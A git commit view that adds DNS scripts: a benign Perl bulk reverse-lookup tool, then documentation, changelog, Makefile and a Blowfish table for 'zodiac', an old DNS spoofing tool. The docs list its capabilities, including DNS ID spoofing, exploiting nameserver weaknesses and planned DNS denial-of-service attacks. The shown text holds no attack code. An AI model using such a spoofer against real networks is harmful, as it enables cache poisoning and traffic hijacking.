added scripts and zodiac

This commit is contained in:
Peter Baumann 2013-06-04 14:33:16 +02:00
commit 9bbbc17676
49 changed files with 9254 additions and 0 deletions

13
dns/README.md Normal file
View file

@ -0,0 +1,13 @@
DNS Scripts
===========
A collection of Scripts about DNS Stuff I found on the internet.
Directories
===========
# scripts
* DNS Scripts
# zodiac
* DNS Spoofer

165
dns/scripts/netdns.pl Executable file
View file

@ -0,0 +1,165 @@
#!/opt/local/bin/perl
#
# Script to do bulk PTR lookups on a network of IP's
#
# Updated 4/10 with more features and to make better use of underlying
# CPAN modules:
#
# - Accepts IPv4/IPv6 addresses as singletons or a network in range or
# CIDR format
# - Allows you to configure which DNS server(s) to query
# - Allows you to configure a fixed delay between PTR lookups
# - Output to STDOUT for use in pipelines, or to a file in CSV or JSON
# format
# - Configurable timeout on PTR lookups
# - Persistent UDP connections to help lessen the load on DNS servers
#
# Requires CPAN modules Net::DNS, Net::IP, JSON and Tie::IxHash
#
# perl -MCPAN -e 'CPAN::Shell->install(qw(Net::DNS Net:IP Tie::IxHash JSON))'
#
# should do the trick on any Unix OS. On Debian/Ubuntu, do:
#
# apt-get install libnet-dns-perl libnet-ip-perl libjson-perl libtie-ixhash-perl
#
# Usage: The only required parameter is an IPv4/IPv6 network specified
# as a range or in CIDR format, or a single IP (see the Net::IP docs
# at http://search.cpan.org/~manu/Net-IP-1.25/IP.pm). Output is a
# simple CSV list of the IP addresses and the hostname they each
# resolved to, or NXDOMAIN if no PTR record exists, or error text if
# there is some other error with the DNS query.
#
# Output is always to STDOUT by default, or to a file if '-w' is
# specified. Errors always go to STDERR via croak. Examples:
#
# ./netdns.pl -i 10.0.0/24 > ptr-list.csv
# ./netdns.pl -i 10.0.0.1
# ./netdns.pl -i 10.0.0.5-10.0.0.33 -d 10 -j
# ./netdns.pl -i 10.0.0/25 -d 3 -t 2 -n 8.8.8.8,8.8.4.4 -j > ptr-list.json
# ./netdns.pl -i 10.0.0/25 -j -w ptr-list.json
# ./netdns.pl -i dead:beef::/32
#
# Sample JSON output:
#
# {
# "10.0.0.0" : "foo1.example.com",
# "10.0.0.1" : "foo2.example.com",
# "10.0.0.2" : "foo3.example.com",
# "10.0.0.3" : "foo4.example.com"
# }
#
# Copyright (c) 2006-2010 Doug Maxwell <doug@unixlore.net>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
use strict;
use warnings;
use Net::DNS;
use Net::IP;
use Getopt::Std;
use JSON;
use Tie::IxHash;
use English;
use Carp;
require 5.006_000; # Needed for $outfile
our ($opt_h,$opt_j,$opt_i,$opt_d,$opt_n,$opt_t,$opt_w);
getopts('hji:d:n:t:w:');
usage() && exit if ( !$opt_i || $opt_h );
sub usage {
print STDERR "\n$0 synopsis: \n";
print STDERR "\n";
print STDERR "Usage: $0 -i <IP or network spec> [-d N] [-t N] [-n <Comma-separated list of IPs or hostnames>] [-w filename] [-j] [-h]\n";
print STDERR "-i: IP address, range or CIDR (required)\n";
print STDERR "\t10.0.0.1\n\t10.0.0.3-10.0.0.55\n\t10.0.0/24\n\tdead:beef::/32\n";
print STDERR "-d: Delay in seconds between lookups\n";
print STDERR "-t: UDP timeout (defaults to five seconds)\n";
print STDERR "-n: Comma-separated list of nameserver IPs or hostnames (defaults to system resolver)\n";
print STDERR "-w: Output to the named file\n";
print STDERR "-j: Output in JSON (default is CSV)\n";
print STDERR "-h: This help text\n\n";
}
# Make sure delays are non-negative
my $delay = ( $opt_d && $opt_d > 0 ) ? $opt_d : 0;
my $udp_timeout = ( $opt_t && $opt_t > 0 ) ? $opt_t : 5;
# Initialize the hashref used for JSON output. Tie it so we can print
# it out in insertion order.
my $ptr_records = {};
tie %$ptr_records,"Tie::IxHash";
# $outfile is a filehandle pointing to the output file specified by
# the 'w' option, or to STDOUT.
my $outfile;
if ( $opt_w ) {
open $outfile, '>', $opt_w or croak "Unable to open '$opt_w': $OS_ERROR\n";
} else {
open $outfile, '>-', or croak "Unable to open STDOUT: $OS_ERROR\n";
}
my $ip = new Net::IP($opt_i) or croak "Unable to create Net::IP object\n";
my $res = Net::DNS::Resolver->new(
persistent_udp => 1,
udp_timeout => $udp_timeout,
) or croak "Unable to create Net::DNS::Resolver object\n";
# Set the nameservers to query as specified by '-n' args
$res->nameservers(split(",",$opt_n)) if ( $opt_n );
do {
my $ip_address = $ip->ip();
if ($ip_address) {
my $query = $res->send("$ip_address",'PTR');
if (defined $query && $query->answer) {
foreach my $rr ($query->answer) {
unless ( $opt_j ) {
print {$outfile} "$ip_address,",$rr->ptrdname, "\n" or croak "Couldn't write: $OS_ERROR\n";
}
$ptr_records->{$ip_address} = $rr->ptrdname;
}
} else {
unless ( $opt_j ) {
print {$outfile} "$ip_address,",$res->errorstring,"\n" or croak "Couldn't write: $OS_ERROR\n";
}
$ptr_records->{$ip_address} = $res->errorstring;
}
}
sleep($delay) if ( $delay );
} while ( ++$ip );
# Pretty-print the results JSON if needed
print {$outfile} JSON->new->pretty(1)->encode($ptr_records) if ( $opt_j );
close $outfile or croak "Unable to close file: $OS_ERROR\n";

71
dns/zodiac/README Normal file
View file

@ -0,0 +1,71 @@
zodiac - development releases
readme file
1. intention
in the current version zodiac is not useable for any real dns spoofing,
it is just a developing release, to get it more portable and to improve
it's code base. please don't ask us how to spoof this or that.
the functionality isn't even documented, so you'd have to dig into the
code to actually get something out of it :-) (which should be fun, since
i tried to at least document the code hehe)
but please contact us in any case of the follows:
1. you got it compiled on any of the non listed plattforms
-> email us, and tell us how you did it
2. you found a reproduceable bug
-> email us, and tell us how to reproduce it
3. you wrote a patchfile
-> email it to us, telling is what it does
4. you have general suggestions
-> email us
2. compilation, portability
i'm sorry i cannot assist you in building zodiac on your platform in the
current development state, please don't mail us about this, except you
got it compiled or ported to another platform and you can supply us a
patchfile.
3. for developers: getting started
if you want to participate with quality code or patches, you're welcome.
here are some little steps how to start exploring the sources:
first compile zodiac, and run it as superuser. then try some dns stuff
on another console while having zodiac running (dig, nslookup). watch how
nicely it decodes (screen) and dumps (file "packets-rawdns") all the dns
packets on the local network.
next you may try to explore the sources either from bottom up (packet.c,
dns.c, dns-build.c and dns-spoof.c in this order), or top down,
which is the same order reversed.
if you find the sources interesting, start coding :) (if you aren't into
dns and tcp/ip and such, recode the ugly gui to some fance oldskewl ansi
bbs style menue ;-).
thanks for your interest into zodiac.
4. contact information
scut
irc, efnet, nick: sacbuctd
email: scut@nb.in-berlin.de
web: http://teso.scene.at/ (teso is a new and skilled security group, just
visit our page :-)
smiler
email: smiler@tasam.com

284
dns/zodiac/doc/ChangeLog Normal file
View file

@ -0,0 +1,284 @@
0.4.9 (20000518) - noah williamsson <tm@ns2.crw.se>, scut
- added usage and mini help (zodiac -h)
- compatible with FreeBSD now, other BSD's should work aswell
0.4.8 (20000518) - noah williamsson <tm@ns2.crw.se>
- changed Makefile to enable Open- and FreeBSD systems to compile
zodiac with the pthread libary (-pthread)
- fixed make clean in Makefile
- fixed missing include file in dns-spoof-int.c
- fixed include order in network.c
- removed netinet/ip.h include file from io-udp.c, it is unneeded
and causes errors when compiling under FreeBSD
- removed const qualifiers from m_print* functions
- include fix in packet.c
- include fix in sniff.c
0.4.7 (20000428) - scut
- fixed missing header definition in packet.h (pq_destroy)
- fixed small c stylistic errors
0.4.6 (19991220) - scut
- added command line option "-q" for quite mode (won't print out
packets in long form, use two times to avoid printing packets
at all)
0.4.5 (19991130) - scut, smiler
- added relay option to spoof proxy (whoever will need it ?), with
reencryption support *woaw* :)
- fixed some minor things in the spoof proxy
- fixed dns-build.c, was not synced
0.4.4 (19991129) - scut
- fixed broken daemon mode in spoof proxy
- added help option to spoof proxy
- fixed some minor things in error handling stuff in spoof proxy
0.4.3 (19991129) - smiler, scut
- added ptr and a+ptr id spoofing
- added id spoofing for windows nameservers
- changed dns_build_ptr a bit
- fixed menu_idspoof
- improved id spoofing (spoof_dnsid)
- removed gui-config.*, they are not needed anymore because of
the different spoofing interface
- tested dns id spoofing, works el8ly gr8 :-]
0.4.2 (19991129) - scut
- fixed minor descriptive bug in usage of zsp
0.4.1 (19991128) - scut
- added "set" command to set spoof proxy and show mode
0.4.0 (19991127) - scut
- added encryption support
- added spoof proxy option
- fixed minor bugs in udp routines (length handling on encrypted
frames were sometimes invalid, causing some extra bytes being
sent)
- fixed a severe bug in the dns id queue routines, where own
datagrams were added as legal id's
- improved makefiles a bit
0.3.12 (19991107) - smiler, scut
- several small additions to the spoofing interface
- begun a spoof proxy to split the spoofing from the sniffing =)
it is in the src/zsp/ directory :)
- hey, we broke the 7000 lines barrier, currently at 7373 lines =)
0.3.11 (19991104) - smiler
- beefed up the OO spoofing interface a lot, although the code is
still inactive it will provide a comfortable spoofing interface
0.3.10 (19991104) - scut
- fixed a minor bug in dns-tag.c, where we squashed some references
0.3.9 (19991103) - scut
- hey welcome random to team teso :-D
- added "did i send that packet that i just see"-checking to avoid
confusing filter rules we keep a list of packets we send ourself
for 5 seconds and shield incoming packets that match them from
the dns queue comparing routines (dq_match called from dns.c)
- the "test spoof" function works very properly now (thanks to the
checking routines above
- fixed some minor bugs
0.3.8 (19991101) - smiler, scut
- added "test spoof" function (see "help"), that will test whether
you can ip spoof from your current ip :-) (nice, ehh ? ;)
- improved id spoofing even further
- fixed some minor bugs in dnsq.c
0.3.7 (19991101) - scut
- linted the sources a bit and got rid of some unneccesary include
files :-)
- tweaked the random hostname generation routine a bit (hostnames
of 50 characters aren't so common, ehh ? ;)
- easified the id_* interface
0.3.6 (19991029) - smiler
- worked out dns id spoofing, working for type a entries, yeah :-)
- we're at > 6000 lines now, btw =)
0.3.5 (19991028) - scut
- made zodiac libnet 1.0 compliant (pff... how many times will this
interface change ? think once, think well)
0.3.4 (19991028) - smiler
- some small bugs squashed, oh yeah =)
0.3.3 (19991028) - smiler, scut
- added a better generic query interface
- added a "ns version <ip>" command line ehm... command :-D
0.3.2 (19991026) - smiler
- added a generic dns query handler to ease high-level dns coding
- improved packet parsing routines
0.3.1 (19991025) - smiler, scut
- fixed an ugly bug in dnsq.c, which was pure c'ish bug (yea, face it
guys, c sux ;-)
- fixed minor things within dns-tools.c
0.3.0 (19991014) - smiler, scut
- fixed some broken things in dns.c, the dns routines can be considered
quite good now :]
0.2.31 (19991008) - smiler, scut
- changed the way the local ip is detected from the device, being more
portable now
- minor fixes
0.2.30 (19990927) - smiler
- fixed dns spoofing routines that got broken in 0.2.29, works perfectly
now :)
0.2.29 (19990926) - smiler
- fixed threading bugs (broken cancelation)
- improved dns query and spoofing routines to work with proxy dns servers
too
0.2.28 (19990924) - smiler
- fixed randomization order
0.2.27 (19990923) - smiler
- fixed spoof_query function
- fixed reentrancy
0.2.26 (19990920) - smiler
- added IP ID randomization within the dns-build routines
0.2.25 (19990919) - smiler
- added support for various link layer types (ppp, eth, ...)
0.2.24 (19990914) - smiler
- fixed another byte order bug in dns-tools.c
0.2.23 (19990914) - smiler
- the switch from own definitions to nameser.h ones caused further
problems at byte order conversions within the dns build routines,
jielding them unuseable, fixed.
0.2.22 (19990914) - scut
- general tidy-up
0.2.21 (19990913) - scut, smiler
- fixed wrong network/host-byte-order in dns_packet_send
(found by smiler)
- fixed correct ip/udp/dns segmentation, using ip header length
instead of fixed ip minimum header length
- added correct error handling on non superuser privileges
0.2.20 (19990913) - scut, smiler
- use of PUTSHORT and GETSHORT now within the dns packet processing,
to preserve endianess and be more compatible in general
(suggested by smiler)
- used arpa/nameser.h instead of own dns definitions
(suggested by smiler)
- switched from own header definitions to the one libnet supplies
(suggested by smiler)
- replaced dns_build_domain with an optimized version from smiler
- cleaned up packet.c to reuse it's own code
- beefed up sources at whole, shorting some unnecessary parts
- minor changes within the Makefile, to be more portable
0.2.19 (19990912) - scut
- fixed minor bugs within dnsq.c
0.2.18 (19990907)
- fixed segfaulting bug in sniffing routines, where an error value
wasn't checked appropiatly (possible failure of pcap_open)
0.2.17 (19990907)
- added type txt encoding in dns-build.c
- fixed missing mutex unlocking within dq_filter_uninstall, which
caused only the first filter set working
0.2.16 (19990805)
- added passive threading for spoofing functions
- finished jizz and local spoof
- added rudimentary id spoof function
- added console, with prompt and multilevel input
0.2.15 (19990731)
- fixed windows id detection for only one-packet situations, where
zodiac didn't detected windows id's
0.2.14 (19990727)
- added dt_bind_version routine (not yet finished)
- added dns-tools.c subset
- cleaned dns_packet_send a bit
0.2.13 (19990718)
- extended dns_jizz spoof with the logs from foxfire
- fixed minor bugs in dns-build.c
0.2.12 (19990718)
- added dns_build_random, m_random
- extended dns_build_* for more comfortability
- analyzed jizz logs from foxfire
- started rewrote of spoof_jizz, to be tested
- simplified configset structure
0.2.11 (19990714)
- rewrote local dns spoof function from scratch
- fixed serious bug in dns_build_q
0.2.10 (19990714)
- modified dns_build_* to accept always char hostname/ip addresses,
that will be converted according to type values (new: dns_build_ptr)
- modified dns_build_* functions to accept plaintext char parameters
for all kind of dns labels/rdata/*, to make it more comfortable to
create packets
- code cleanup within dns*.c
- minor updates in packet.c
- minor bugfixes, especially in dns*.c
0.2.9
- modified packet dump to dump the whole ip packet
- cleaned up, improved and testing the local spoof routines
- tested virtual dns queue routines, working perfectly :)
- proofread great parts of the code, to ensure quality
0.2.8
- improved/rewritten dns packet construction routines
- researched on dns flags acceptance
- ran first successful local dns spoof, error response problem though
0.2.7
- first local dns spoof testing
- wrote many company routines for dns packet creation
- successfully tested dns packet filter
- started with local spoof routine
0.2.6
- fixed small bugs within all dns*.c files
- added network primitives (network.c)
- extended packet filter routines, added select like waiting methods
- fixed minor bugs in dns queue
- hopefully fixed this weird timeval bug in dnsid.c, _GNU_SOURCE doesn't
seem to be reliable (most likely it is fixed, but it was difficult to
reproduce, though)
- improved sequential prediction
0.2.5beta
- added windows dns resolver library detection
- fixed some minor bugs, code cleanups within dns*.c
0.2.5alpha
- fixed a id queue bug in dnsid.c
- started with a comfortable dns packet filter (dnsq.h)
0.2.4
- implemented rdata decoding
- fixed all bugs detected
0.2.3
- added decompression, recursive, rewrote large parts of the dns
routines
0.2.2
- added/fixed real dns packet decoder
- fixed dozends of segfaults

124
dns/zodiac/doc/INSTALL Normal file
View file

@ -0,0 +1,124 @@
INSTALLATION INSTRUCTIONS
for
zodiac - advanced dns spoofer
(not finished yet !)
0. INTRODUCTION
this document describes how to install zodiac on unix based systems.
zodiac is a low level analyzation and spoof tool for the dns protocol.
zodiac has been compiled successfully on following systems:
linux 2.0.x with libc5, gcc and the linuxthread thread library
linux 2.2.x with glibc, egcs
linux 2.3.x with glibc, egcs
freebsd 4.0-stable
...
if you managed to compile zodiac without any modifications on another
system, please tell us. for our email address refer to the readme file.
1. COMPILATION - REQUIREMENTS
zodiac is provided at source code level, under a certain license. you have
to compile it before you can use it. to compile it successfully you need
to have following libraries installed.
libncurses >= 4.0 http://www.freshmeat.net/
libnet >= 0.99 http://www.packetfactory.net/libnet/
libpcap >= 0.4 ftp://ftp.ee.lbl.gov/
thread library = POSIX http://www.freshmeat.net/
(libpthread)
the thread library has to conform to the POSIX IPC standard. you won't
have any difficulties if you use a libc6 system, for libc5 linux systems
i recommend the linuxthreads library. if you use more exotic systems,
like bsd or irix or aix, there is still a way to compile zodiac by using
a usermode thread library such as the excellent GNU Pth (portable threads)
library, which is available from freshmeat also.
the pcap library is a platform independant packet capturing library, that
is used by many network programs. don't miss to install the man pages and
the header files also (make install won't do, read the Makefile of
the libpcap package)
libnet is a low level, platform independant packet construction library
that is used by many programs to comfortably create raw packets. read the
included README file in the libnet package for further instructions how
to install this library. thanks to route for this piece, but the asn1
stuff in it is useless ;)
libncurses is a very portable terminal library that is used within zodiac
to provide a text based graphical user interface. the ability of ncurses
to provide virtual terminal windows is used to split the screen into sub-
windows. libncurses should compile well on any platform, but in most cases
you don't have to install it, it ships with almost any unix operating
system.
you also need a working c library, networking support and a ansi-c conform
c compiler (gcc/egcs recommended).
2. COMPILATION - LET'S GO
first, a point on portability. zodiac was developed on linux only systems.
we (scut, especially smiler) tried up to be as portable as possible, but
this haven't been tested on any big endian or bsd system yet, so we
encourage any user support.
/* FOR THE FINAL VERSION ONLY
since zodiac takes advantage of the GNU autoconf/automake packages, you
normaly just have to start the configure script:
./configure
if it fails, please resolv the problem and run it again. after having
created a Makefile from the Makefile.in, run the make program:
*/
make
if it fails to compile successfully on your system try to resolve the
problem and tell me why it failed and how you solved it.
don't come crying that it doesn't compile, just come smiling with a patch
or a description ;)
/* NOT YET FINISHED
after compilation there will be a "zodiac" binary in the current di-
rectory. if you are the system administrator of the unix system and you
want to have the program installed system wide you may also want to run:
make install
if it's your local hack-shellbox you may want to set the binary suid by
doing an
make sinstall
*/
3. USAGE
you are not required to have superuser privileges to compile zodiac, but
you are required superuser privileges to use it. if you don't know what
this means, please get informed about the whole topic, and then carefully
ask your system administrator to get kicked out of your cs course =).
4. CONTACT
for powerusers, who did a porting patchfile to let zodiac run on a plat-
form it didn't run before, here is our contact address to send the file
to:
scut@nb.in-berlin.de, subject: "zodiac: (<version>) patch - <description"

148
dns/zodiac/doc/README Normal file
View file

@ -0,0 +1,148 @@
zodiac - advanced dns spoofer
readme file
0. content
compilation ...................................................... 1
features and description ......................................... 2
overview of weak points in the domain name service ............... 3
spoofing descriptions ............................................ 4
hints for effective spoofing ..................................... 5
about ............................................................ 6
greetings ........................................................ 7
legal stuff / disclaimer ......................................... 8
1. compilation
read "INSTALL"
2. features and description
basic features include:
DONE - sniffing of dns datagrams on an ethernet device
DONE - decoding of all types of dns packets, including safe decompression
? - nice display and gui
DONE - always interactive in all situations
DONE - threaded and flexible design
advanced features include:
DONE? - local dns spoof
- jizz dns spoof, exploiting a weakness in some named's implementations
- determines jizz-weakness, id-prediction and resolver type remotely
- id spoofing, exploiting a weakness in the dns protocol itself
- implements some advanced dns denial of service attacks, including
flood, label compression and unres attack, advanced dns smurf
3. overview of weak points in the domain name service
- connectionless, udp based, independent protocol
the dns protocol can utilize tcp and udp as transportation protocols.
however, nearly all domain name servers use udp, because it has two
great advantages over tcp: it has little overhead and it doesn't need
time to establish a connection, it can just send data directly.
this is one of the reasons why the dns protocol is attackable, because
it uses a stateless protocol to deliver it's data, and extends this with
just some weak state variables inside the dns header.
stateless protocols can be spoofed easily, this is true for udp also. so
the spoof-security has to be guaranteed by the protocol on top of it, in
this case the dns protocol.
- broad usage, compatibility over security
since the dns protocol is very popular it has to be compatible with as
much servers as possible. the dns standard is written down in two
technical documents, the so called rfc's, for dns it is rfc 1034 and
1035.
a dns server often has to handle hundrets of requests from hundrets of
different machines at the same time, to understand them they have to fit
the format defined in the rfc's, any violation may render the request
to be dropped. this makes it nearly impossible to extend the dns protocol
within the tight borders given by the rfc.
- old, ineffective
the dns protocol we use today has been established 1987. at this time
the internet was not as popular as today, and although there has been
incidents in which protocol security has been compromised there was no
real sense of security when the protocol was designed.
therefore the protocol is functional and obviously working but is
lacking any security implementation. the dns id was never intended to be
used for security, just to sort the answers of the remote dns server
more quickly (the same applies to the isn of a tcp connection, they were
never intended to stop ip/tcp spoofing).
also dns turned out to be a quite ineffective protocol in large net-
works. there are estimations that 20% of all internet traffic are dns
traffic. dns caching is used to avoid too much traffic, therefore
exposing another way to compromise dns security.
also the dns protocol is centralized, which means there are more
important computers than others in dns design, therefore it's clearly
obvious which computers are subject to attacks (those that cache for
many computers).
4. spoofing descriptions
not yet
5. hints for effective spoofing
not yet
6. about
the program has been written by members of team teso and smiler.
a helpful patch has been submitted by noah williamsson <tm@ns2.crw.se>.
the vulnerabilities the program exploits have been discovered by other
persons, the adm crew deserves credit for the dns id spoofing technique.
the dozends of mindful people from the bugtraq mailing list that messed
with dns also deserve credits :)
7. greetings
(from scut)
in alphabetical order :-D
acpizer, avoozl, axhate, blackb, blow, bigblue, crestor, davy, domnar,
edi, focht, foxfire, fungus, garry, hendy, hoopy, js, kafka, lorian,
mindtrip, moc, overhead, oxigen, packwahn, plasmoid, random, route,
smiler, spy, tb303, tis, toniq, typo, vax, waterloo, wildandi, wilkins,
yks, yodler, zap.
special greetings to
smiler, :-)
the adm crew, for finding the id vulnerability, but lack a good coding
style ;-)
foxfire, for giving me some nice packet dumps to play with
oxigen, for giving me some hints about dns spoofing
rfc1035, for giving me any information about any dns packet
ken williams, for just being so cool B-)
8. legal stuff / disclaimer
know what you do before you do it, be able to face it's consequences.

17
dns/zodiac/doc/ToDo Normal file
View file

@ -0,0 +1,17 @@
short time:
- implement all TY_* for dns_build_rr
- jizz dns spoof
global goals:
- first release
- gui cleanup, docs
- dns denial of service attacks
- tool functions: finding nameserver, getting info about it (HWARE)
- implement SOA rdata decoding + rest of rdata-types
- implement dns packet compression within dns_packet_send ()
- verbosity levels
done:
- gui

17
dns/zodiac/src/Makefile Normal file
View file

@ -0,0 +1,17 @@
CFLAGS=-Wall -g -ggdb -DDEBUG `libnet-config --defines` -D_REENTRANT -pthread
LIBS= -lncurses -lpcap -lnet
CC=gcc
OBJS = common.o cipher-blowfish.o cipher-sha1.o dns.o dns-build.o \
dns-spoof-int.o dns-spoof.o dns-tag.o dns-tools.o dnsid.o dnsq.o \
gui.o io-udp.o network.o sniff.o output.o packet.o
PREFIX=/usr/local
all: zodiac
clean:
rm -f *.o ../zodiac
zodiac: zodiac.c $(OBJS)
$(CC) $(CFLAGS) -o zodiac -static zodiac.c $(OBJS) $(LIBS)
mv zodiac ../

View file

@ -0,0 +1,282 @@
/* bf_tab.h: Blowfish P-box and S-box tables */
#ifndef _H_TAB_BF
#define _H_TAB_BF
static UWORD_32bits initbf_P[bf_N + 2] = {
0x243f6a88, 0x85a308d3, 0x13198a2e, 0x03707344,
0xa4093822, 0x299f31d0, 0x082efa98, 0xec4e6c89,
0x452821e6, 0x38d01377, 0xbe5466cf, 0x34e90c6c,
0xc0ac29b7, 0xc97c50dd, 0x3f84d5b5, 0xb5470917,
0x9216d5d9, 0x8979fb1b,
};
static UWORD_32bits initbf_S[4][256] = {
{
0xd1310ba6, 0x98dfb5ac, 0x2ffd72db, 0xd01adfb7,
0xb8e1afed, 0x6a267e96, 0xba7c9045, 0xf12c7f99,
0x24a19947, 0xb3916cf7, 0x0801f2e2, 0x858efc16,
0x636920d8, 0x71574e69, 0xa458fea3, 0xf4933d7e,
0x0d95748f, 0x728eb658, 0x718bcd58, 0x82154aee,
0x7b54a41d, 0xc25a59b5, 0x9c30d539, 0x2af26013,
0xc5d1b023, 0x286085f0, 0xca417918, 0xb8db38ef,
0x8e79dcb0, 0x603a180e, 0x6c9e0e8b, 0xb01e8a3e,
0xd71577c1, 0xbd314b27, 0x78af2fda, 0x55605c60,
0xe65525f3, 0xaa55ab94, 0x57489862, 0x63e81440,
0x55ca396a, 0x2aab10b6, 0xb4cc5c34, 0x1141e8ce,
0xa15486af, 0x7c72e993, 0xb3ee1411, 0x636fbc2a,
0x2ba9c55d, 0x741831f6, 0xce5c3e16, 0x9b87931e,
0xafd6ba33, 0x6c24cf5c, 0x7a325381, 0x28958677,
0x3b8f4898, 0x6b4bb9af, 0xc4bfe81b, 0x66282193,
0x61d809cc, 0xfb21a991, 0x487cac60, 0x5dec8032,
0xef845d5d, 0xe98575b1, 0xdc262302, 0xeb651b88,
0x23893e81, 0xd396acc5, 0x0f6d6ff3, 0x83f44239,
0x2e0b4482, 0xa4842004, 0x69c8f04a, 0x9e1f9b5e,
0x21c66842, 0xf6e96c9a, 0x670c9c61, 0xabd388f0,
0x6a51a0d2, 0xd8542f68, 0x960fa728, 0xab5133a3,
0x6eef0b6c, 0x137a3be4, 0xba3bf050, 0x7efb2a98,
0xa1f1651d, 0x39af0176, 0x66ca593e, 0x82430e88,
0x8cee8619, 0x456f9fb4, 0x7d84a5c3, 0x3b8b5ebe,
0xe06f75d8, 0x85c12073, 0x401a449f, 0x56c16aa6,
0x4ed3aa62, 0x363f7706, 0x1bfedf72, 0x429b023d,
0x37d0d724, 0xd00a1248, 0xdb0fead3, 0x49f1c09b,
0x075372c9, 0x80991b7b, 0x25d479d8, 0xf6e8def7,
0xe3fe501a, 0xb6794c3b, 0x976ce0bd, 0x04c006ba,
0xc1a94fb6, 0x409f60c4, 0x5e5c9ec2, 0x196a2463,
0x68fb6faf, 0x3e6c53b5, 0x1339b2eb, 0x3b52ec6f,
0x6dfc511f, 0x9b30952c, 0xcc814544, 0xaf5ebd09,
0xbee3d004, 0xde334afd, 0x660f2807, 0x192e4bb3,
0xc0cba857, 0x45c8740f, 0xd20b5f39, 0xb9d3fbdb,
0x5579c0bd, 0x1a60320a, 0xd6a100c6, 0x402c7279,
0x679f25fe, 0xfb1fa3cc, 0x8ea5e9f8, 0xdb3222f8,
0x3c7516df, 0xfd616b15, 0x2f501ec8, 0xad0552ab,
0x323db5fa, 0xfd238760, 0x53317b48, 0x3e00df82,
0x9e5c57bb, 0xca6f8ca0, 0x1a87562e, 0xdf1769db,
0xd542a8f6, 0x287effc3, 0xac6732c6, 0x8c4f5573,
0x695b27b0, 0xbbca58c8, 0xe1ffa35d, 0xb8f011a0,
0x10fa3d98, 0xfd2183b8, 0x4afcb56c, 0x2dd1d35b,
0x9a53e479, 0xb6f84565, 0xd28e49bc, 0x4bfb9790,
0xe1ddf2da, 0xa4cb7e33, 0x62fb1341, 0xcee4c6e8,
0xef20cada, 0x36774c01, 0xd07e9efe, 0x2bf11fb4,
0x95dbda4d, 0xae909198, 0xeaad8e71, 0x6b93d5a0,
0xd08ed1d0, 0xafc725e0, 0x8e3c5b2f, 0x8e7594b7,
0x8ff6e2fb, 0xf2122b64, 0x8888b812, 0x900df01c,
0x4fad5ea0, 0x688fc31c, 0xd1cff191, 0xb3a8c1ad,
0x2f2f2218, 0xbe0e1777, 0xea752dfe, 0x8b021fa1,
0xe5a0cc0f, 0xb56f74e8, 0x18acf3d6, 0xce89e299,
0xb4a84fe0, 0xfd13e0b7, 0x7cc43b81, 0xd2ada8d9,
0x165fa266, 0x80957705, 0x93cc7314, 0x211a1477,
0xe6ad2065, 0x77b5fa86, 0xc75442f5, 0xfb9d35cf,
0xebcdaf0c, 0x7b3e89a0, 0xd6411bd3, 0xae1e7e49,
0x00250e2d, 0x2071b35e, 0x226800bb, 0x57b8e0af,
0x2464369b, 0xf009b91e, 0x5563911d, 0x59dfa6aa,
0x78c14389, 0xd95a537f, 0x207d5ba2, 0x02e5b9c5,
0x83260376, 0x6295cfa9, 0x11c81968, 0x4e734a41,
0xb3472dca, 0x7b14a94a, 0x1b510052, 0x9a532915,
0xd60f573f, 0xbc9bc6e4, 0x2b60a476, 0x81e67400,
0x08ba6fb5, 0x571be91f, 0xf296ec6b, 0x2a0dd915,
0xb6636521, 0xe7b9f9b6, 0xff34052e, 0xc5855664,
0x53b02d5d, 0xa99f8fa1, 0x08ba4799, 0x6e85076a
},
{
0x4b7a70e9, 0xb5b32944, 0xdb75092e, 0xc4192623,
0xad6ea6b0, 0x49a7df7d, 0x9cee60b8, 0x8fedb266,
0xecaa8c71, 0x699a17ff, 0x5664526c, 0xc2b19ee1,
0x193602a5, 0x75094c29, 0xa0591340, 0xe4183a3e,
0x3f54989a, 0x5b429d65, 0x6b8fe4d6, 0x99f73fd6,
0xa1d29c07, 0xefe830f5, 0x4d2d38e6, 0xf0255dc1,
0x4cdd2086, 0x8470eb26, 0x6382e9c6, 0x021ecc5e,
0x09686b3f, 0x3ebaefc9, 0x3c971814, 0x6b6a70a1,
0x687f3584, 0x52a0e286, 0xb79c5305, 0xaa500737,
0x3e07841c, 0x7fdeae5c, 0x8e7d44ec, 0x5716f2b8,
0xb03ada37, 0xf0500c0d, 0xf01c1f04, 0x0200b3ff,
0xae0cf51a, 0x3cb574b2, 0x25837a58, 0xdc0921bd,
0xd19113f9, 0x7ca92ff6, 0x94324773, 0x22f54701,
0x3ae5e581, 0x37c2dadc, 0xc8b57634, 0x9af3dda7,
0xa9446146, 0x0fd0030e, 0xecc8c73e, 0xa4751e41,
0xe238cd99, 0x3bea0e2f, 0x3280bba1, 0x183eb331,
0x4e548b38, 0x4f6db908, 0x6f420d03, 0xf60a04bf,
0x2cb81290, 0x24977c79, 0x5679b072, 0xbcaf89af,
0xde9a771f, 0xd9930810, 0xb38bae12, 0xdccf3f2e,
0x5512721f, 0x2e6b7124, 0x501adde6, 0x9f84cd87,
0x7a584718, 0x7408da17, 0xbc9f9abc, 0xe94b7d8c,
0xec7aec3a, 0xdb851dfa, 0x63094366, 0xc464c3d2,
0xef1c1847, 0x3215d908, 0xdd433b37, 0x24c2ba16,
0x12a14d43, 0x2a65c451, 0x50940002, 0x133ae4dd,
0x71dff89e, 0x10314e55, 0x81ac77d6, 0x5f11199b,
0x043556f1, 0xd7a3c76b, 0x3c11183b, 0x5924a509,
0xf28fe6ed, 0x97f1fbfa, 0x9ebabf2c, 0x1e153c6e,
0x86e34570, 0xeae96fb1, 0x860e5e0a, 0x5a3e2ab3,
0x771fe71c, 0x4e3d06fa, 0x2965dcb9, 0x99e71d0f,
0x803e89d6, 0x5266c825, 0x2e4cc978, 0x9c10b36a,
0xc6150eba, 0x94e2ea78, 0xa5fc3c53, 0x1e0a2df4,
0xf2f74ea7, 0x361d2b3d, 0x1939260f, 0x19c27960,
0x5223a708, 0xf71312b6, 0xebadfe6e, 0xeac31f66,
0xe3bc4595, 0xa67bc883, 0xb17f37d1, 0x018cff28,
